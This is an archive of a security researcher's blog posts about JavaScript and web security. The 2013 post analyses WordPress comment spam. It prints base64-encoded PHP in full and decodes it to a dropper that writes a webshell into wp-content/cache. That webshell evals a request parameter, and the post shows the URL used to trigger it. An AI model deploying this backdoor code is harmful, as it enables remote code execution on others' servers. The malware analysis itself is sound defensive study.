Showing posts with label javascript. Show all posts
Showing posts with label javascript. Show all posts

Monday, May 6, 2013

Falling down the rabbit hole: An analysis of some questionable blog spam

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:

eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));

Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w'))
{fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/
\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc
3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qc
iB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM52
0*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6
QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdn
MXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCov
J2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTD
QqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2
sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV
1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo
8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1s
vKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMyg
yMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vK
k4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qO
lo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>
{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in the blog post since I wanted to make sure none of that was executed, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:

eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));

Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*g3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.


Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g.  That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.


Here's what it looks like without the comments:

if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:

if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));

Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed.  That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request.  Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this

http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

Friday, July 9, 2010

Preparing some curricula on web security

Among the other cool things I'm doing this summer is working as a teaching assistant for 1.5 days worth of tutorials on the subject of web security. This is part of my national research group's "summer school" program where we try to give our graduate students more background into other areas of security. I'm working up a list of potential topics so we can get our teaching materials together.

So... What would you want to learn in a short course on web security? What do you wish other people knew about web security?

Here's my brainstorming list, to be updated as new things occur to me:

Attacks

Defenses

  • Best coding practices
  • Web Application Firewalls
  • Web Vulnerability Scanners
  • Tainting
  • Mashup solutions (e.g. MashupOS, OMash)
  • Policies (e.g. SOMA, BEEP, CSP)
  • Penetration testing techniques

Notes: The tentative plan is to separate things into a hands-on lab tutorial (probably using webgoat) and a set of lectures, mostly running simultaneously. We're going to have some top-notch students here, since we're drawing from a pool of smart security researchers to start, so we can cover a lot of ground and go much further in depth than we might teaching developers with no security background.

Monday, October 27, 2008

SOMA at ACM CCS

I'm off to present at ACM CCS this week. We're talking about our simple web security solution, SOMA. It's a pretty neat little system -- turns out a handful of simple rules can be used to block a lot of current web attacks.

We call it "Same Origin Mutual Approval" because the idea is that all servers involved in making a web page all have to approve before anything gets loaded or included in the page. This means the site providing the page as well as any sites providing content (eg: youtube, flickr...) have to agree that that's ok. It's very simplistic, but surprisingly powerful because a lot of web attacks rely on the fact that the browser currently includes anything without checking, letting attackers include nasty code or send information out by loading other content.

I'm hoping to have my presentation slides online after the conference is done, but for now, I recommend you take a look at the SOMA webpage. There's a brief explanation along with links to our technical report, and the ACM CCS paper should be available soon too.

Monday, September 15, 2008

Where's the JavaScript

As part of some investigation for my thesis, I made myself a little add-on for Mozilla Firefox that shows where in the page that JavaScript has been included. I'd been doing this sort of investigation by reading the code myself, but although that told me useful things, it wasn't ideal for communicating things to other people.

My add-on shows inclusion of new JavaScript (using a script tag) by putting a red border on the parent tag, and it shows JavaScript called from the onMouseover, onLoad, onClick, etc. attributes in blue.

One of the most interesting things I've found is that these are actually relatively predictable things. If there's an expanding menu, there's probably some JavaScript. Certain types of forms. Content that you'd expect to be external. Links that involve pop-ups. Embedded content from other sources.

Take a look at the way the add-on colours this weather site:


Once you've seen a few of the things it colours, you could guess a lot of the rest.

The question now is... Can this predictability be a helpful tool in developing more secure web pages?

Friday, March 28, 2008

More cuteness in JavaScript comments:
//OhNoRobot.com search code for The Devil's Panties at 
// devilspanties.keenspot.com
//OhNoRobot is powered by hugs. Also: Javascript!

Thursday, March 6, 2008

Facebook

After much resistance, I finally joined Facebook... because I wanted to see what their JavaScript looked like. I admit, I could have done this without signing up properly, but just as I was contemplating signing up, someone sent me an email with links to baby pictures and I finally caved.

Anyhow, I haven't seen anything too spectacularly interesting in their code yet, but this snippet did make me laugh:

function URI(uri){if(uri===window){Util.error('what the hell are you doing');return;}

Classy, eh?

Friday, February 15, 2008

Wait, did that look like that before?

Wait a second... In a previous post, I noted that gmail just quietly downgraded to HTML if you didn't have JavaScript turned on. But today, I noticed this message:



They could use a small fix to their formatting (ie: don't let the poor text jam into the side of the box like that -- I had to grab some of the surrounding window so this screenshot would be legible) but this is strangely more helpful than it was before.

Why the difference?

Well, much as I like to believe someone at Google saw my comments and made the change, I'm not quite arrogant enough to believe that's true. Although I suppose it could be -- there's a lot of Google people out there, and for all I know they've got something that scans Blogger for mentions of their products. It would be a clever, if time-consuming, way to find out what the public really thinks.

Err, I digress. Self-centred worldviews aside, I'd guess it more likely that this message has always been there, and I just missed it last time because of my NoScript configuration.

Why do I find this interesting? Well, I'm currently working on a theory that users will be more safe if they can disable JavaScript that they don't really need to run the page. This is the theory underlying NoScript, and it has some face validity. But if users start running only some JavaScript, what is this going to do to the usability of the web? My current answer is that if you leave JavaScript off entirely, you're going to turn some pages into a usability nightmare, where things will just not work (more on this later). But these different error messages based on my various setups indicate to me that you may have these usability problems even if you have partial JavaScript. In fact, the usability problems may be much worse because the page won't know to generate an appropriate error message!

I don't know how to solve this problem yet, but I guess that's what makes this research!

Another cute error message

One of my labmates pointed this one out:


That is possibly the most adorable of the JavaScript error messages

Sunday, February 10, 2008

Patented JavaScript

Another interesting line I turned up in examining JavaScript:

//hbx.js,HBX2.0,COPYRIGHT 1997-2006 WEBSIDESTORY,INC.
ALL RIGHTS RESERVED. U.S.PATENT No.6,393,479B1 &
6,766,370. INFO:http://websidestory.com/privacy

(Wrapped by me so you can read it)

Now, given how much JavaScript I've found that's obfuscated, I shouldn't be too surprised to see patent numbers in there, but I was!

Best software conditions ever

This is just too amusing not to share. Got to love the conditions (I've coloured them to stand out) on this particular piece of code:
/*
Copyright (c) 2005 JSON.org

Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:

The Software shall be used for Good, not Evil.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/


I turned that up on CNN.com as I'm just roughly examining various types of code to see if I can see obvious similarities.

I wonder if the author believes CNN.com is good or evil?

Saturday, February 9, 2008

The web without JavaScript. Part 2: Black Holes and Revelations

As I implied in Part 1, while sites do sometimes provide helpful error messages related to JavaScript, often as not they just behave strangely.

Perhaps the most common issue I've seen is missing content. The things I notice most often are missing ads and missing video. Sometimes, it's nice and obvious that there's a missing element on the page:


Many pages leave very obvious spaces for their ads, and when they're filled with blank space, it's fairly obvious that there's a problem.

The videos are less obvious, however:

There's a video in there. Really. Normally, it would appear right below the header, so the page would look more like this:


There you can see the video loading in the big black box. But how would you tell that the previous page had anything missing? The page has nicely moved the text up, leaving no trace that there should be something there. In the case of the missing video, there are usually only a few clues:
  1. The page looks abnormally short (there isn't much text)
  2. I'm expecting a video on the page, and it's not there.
  3. I happen to check the JavaScript list from NoScript and notice something that looks like video.* or sounds like a domain that might host video.

Usually, the winning clue is #2, since a friend will send me a link and mention that it's a video, or the comments on the page will talk about the video, or sometimes the text itself will tip me off by what it says.

And often, you'll see both missing spaces and the lack thereof on the same page. The page featured below would normally have both an ad and a video:


Could you tell there was a video on this page? You can see the blank space for an advertisement, but the text automatically moves up so you can't tell that the page with the video looks like this:



That's the video in bright yellow at the bottom there.

But it gets even more fun when you've changed which sites are JavaScript disabled in NoScript. Check out that same site with all the JavaScript disabled:

They're pretty smart! If they can tell that JavaScript is disabled (ie: I've disabled it for the main site) then they both provide the helpful error text AND they provide a ad, showing that you don't really need JavaScript to do it. Unfortunately, my weird way of disabling some JavaScript but not others had limited their ability to do damage control on the page I was trying to break. Interesting...

Next up in this series: Sites that have more than a few holes, and sites that just don't work without their JavaScript!

Monday, February 4, 2008

What does the web look like without JavaScript? Part 1: Error Messages

So what does the web look like without JavaScript? This post focuses on the error messages you see when you decide to ditch the JavaScript, but the sad reality is that although some sites will give you warnings, this is hardly the norm. Still, it's worth looking at what you might see...

Without JavaScript, occasionally the web looks like this:


That's a nice big red error message indicating that there's no JavaScript. Simple, clear, informative, lets you know where to go for help, or even lets you use the website for things that don't require JavaScript.

In a similar vein, you sometimes get error messages like this one:



I find it hilarious that it first tells me that JavaScript is turned off, then tells me what to in the event that JavaScript redirection isn't working... even though if I saw this page at all, JavaScript redirection won't work. But maybe I'm too easily amused.

Anyhow, similarly, it lets you know in nice big red letters what the issue is and how to fix it. Good good.

But this isn't the norm among pages. Sometimes, you get error messages more like this one:



Well, it could be JavaScript, or maybe something else is wrong. Here's how to get Flash player! Err, that's almost helpful. I can see a lot of people reinstalling Flash player and assuming it was broken when JavaScript is the real culprit.

Also, although it's fairly clear where the error message is when you've got a nice little page fragment like this, it's pretty easy to miss that black text on a page with lots of black text and little images and video responses and so on and so on. Especially if you're looking at a video site where really, you're scanning the page for the big video window and mentally blocking out all the text, which you know isn't what you came to the page to see.

And then there's the not-quite-an-error message route:



Okay, so I know that the reason gmail is showing in basic HTML is that I don't have JavaScript enabled, because I've been out messing with it. But if you, say, sat down at my computer and tried to log in to gmail, you'd be asking me why it looks so funny on the mac. Or at least, that's how the friends who've tried to use my laptop reacted when I left things like this.

I do love how Google automatically downgrades when possible (and it does this with a lot of services) but sometimes it might be worth letting people know why you're seeing the reduced interface. This is really apparent if you use Google maps, which only gives driving directions (no maps!) if you have JavaScript disabled and search for one address to another instead of a single address. Very confusing if you're not the one who disabled JavaScript, or you did it because of some unrelated thing and didn't realise it was going to break the web.

But it's still better than no error message at all combined with pages that just don't work, which seems to be very common. Stay tuned for more broken pages!

Friday, February 1, 2008

Want to be safe from malicious web scripts?

Want to be safe from malicious web scripts? The solution, apparently, is to disable JavaScript.

It's always that last line of the security bulletin, the reminder that if we just didn't run this code, we'd be safe from the latest Facebook abuse, bad mojo in Yahoo, or whatever the (bad) flavour of the week is. But really, you might as well tell people that the only way to protect their computer is turn it off, lock it in a dark bunker disconnected from the world, and throw away the key. Sure, that'll keep it from getting the latest piece of web crud, but the machine won't do you very much good.

Think I'm exaggerating? Try turning off JavaScript and see how long you last before you need to turn it back on. The first time I tried it, I lasted half a day before I needed to change some configuration on my router and found that the settings pages wouldn't even load properly with JavaScript disabled.

However, I was raised by scientists. My parents are the sort of people who, when the stove clock broke, gave it to me and my brother, showed us how to use some screwdrivers and other hand tools, then let us experiment on the remains. I'd love to claim we somehow fixed it, but no, we just found new ways to break it and put parts of it back together in weird ways. But my parents are smart people: taking things apart and breaking them does teach you a fair bit about them. And now that we're older, we can put them back together as well as take them apart.

So with that thought in mind, I realised that if I was going to build a safer web, I needed to know how to take it apart and put it back together. In the "breaking things" phase, I decided I needed a nicer way to turn JavaScript on and off on a whim so I could see what else didn't work. Thankfully, Firefox has a lovely little add-on called NoScript which lets me disable or enable JavaScript on a per domain basis. I wouldn't recommend it to novices, but I'm a trained professional, so I set out to learn some stuff.

With that tool, I was ready to start breaking my web.